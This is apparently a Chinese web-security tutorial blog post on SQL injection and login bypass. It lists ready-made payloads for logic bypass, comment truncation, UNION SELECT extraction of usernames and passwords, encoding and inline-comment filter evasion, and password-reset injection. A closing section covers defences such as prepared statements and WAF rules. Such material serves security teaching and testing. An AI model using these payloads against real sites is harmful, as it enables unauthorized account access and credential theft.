【web安全】SQL注入与认证绕过

发布于:2025-07-21 ⋅ 阅读:(12) ⋅ 点赞:(0)

目录

一、SQL注入漏洞

1.1 基础注入原理

1.2 实用注入Payload分类

逻辑绕过型

注释截断型

联合查询型

常见的万能密码-CSDN博客

二、登录绕过实战技巧

2.1 基础绕过手法

2.2 高级绕过技巧

编码绕过

多重注释

参数污染

三、密码重置漏洞利用

3.1 常见漏洞模式

3.2 实用Payload

四、防御方案精要

4.1 开发防护

4.2 运维加固

速查表


一、SQL注入漏洞

1.1 基础注入原理

SQL注入是通过构造特殊输入改变原始SQL语句逻辑的攻击方式。典型攻击模式:

原始语句:SELECT * FROM users WHERE username='[输入]' AND password='[输入]'
注入后: SELECT * FROM users WHERE username='admin'--' AND password='xxx'

1.2 实用注入Payload分类

逻辑绕过型
' OR 1=1 --
" OR "a"="a
' OR '1'='1
注释截断型
admin'#
admin'/*
admin'--
联合查询型
' UNION SELECT 1,2,3--
' UNION SELECT username,password FROM users--

常见的万能密码-CSDN博客

二、登录绕过实战技巧

2.1 基础绕过手法

admin' OR '1'='1
admin'--
admin'/*

2.2 高级绕过技巧

编码绕过
admin%27%20OR%201%3D1--
多重注释
admin'/*!OR*/1=1--
参数污染
username=admin'--&username=realuser

三、密码重置漏洞利用

3.1 常见漏洞模式

UPDATE users SET password='[新密码]' WHERE username='[输入]'
注入: UPDATE users SET password='hacked' WHERE username='admin'--'

3.2 实用Payload

admin'--
' OR email='admin@example.com
' OR 1=1 LIMIT 1--

四、防御方案精要

4.1 开发防护

// 使用预编译语句
String sql = "SELECT * FROM users WHERE username=?";
PreparedStatement stmt = conn.prepareStatement(sql);
stmt.setString(1, username);

4.2 运维加固

  1. 启用WAF规则过滤特殊字符

  2. 限制数据库账号权限

  3. 开启SQL执行日志审计


网站公告

今日签到

点亮在社区的每一天
去签到